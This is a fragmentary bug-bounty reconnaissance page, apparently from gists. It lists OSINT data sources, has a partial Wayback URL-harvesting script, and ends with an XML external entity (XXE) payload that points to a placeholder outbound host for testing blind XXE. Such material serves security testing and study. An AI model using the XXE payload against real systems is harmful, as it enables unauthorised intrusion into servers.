- https://scans.io/
- https://commoncrawl.org/
- https://web.archive.org/ (For JS snippets this can be extremely handy. See killbox.sh below that was written for a HackerOne event.)
- https://www.shodan.io/
- https://opendata.rapid7.com/
- https://www.virustotal.com/en/documentation/public-api/ (You can fetch previously-scanned URLs via the API.)
- https://securitytrails.com/
- https://threatcrowd.org/
- https://dnsdumpster.com/
- https://crt.sh/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import sys | |
import json | |
def waybackurls(host, with_subs): | |
if with_subs: | |
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host | |
else: | |
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |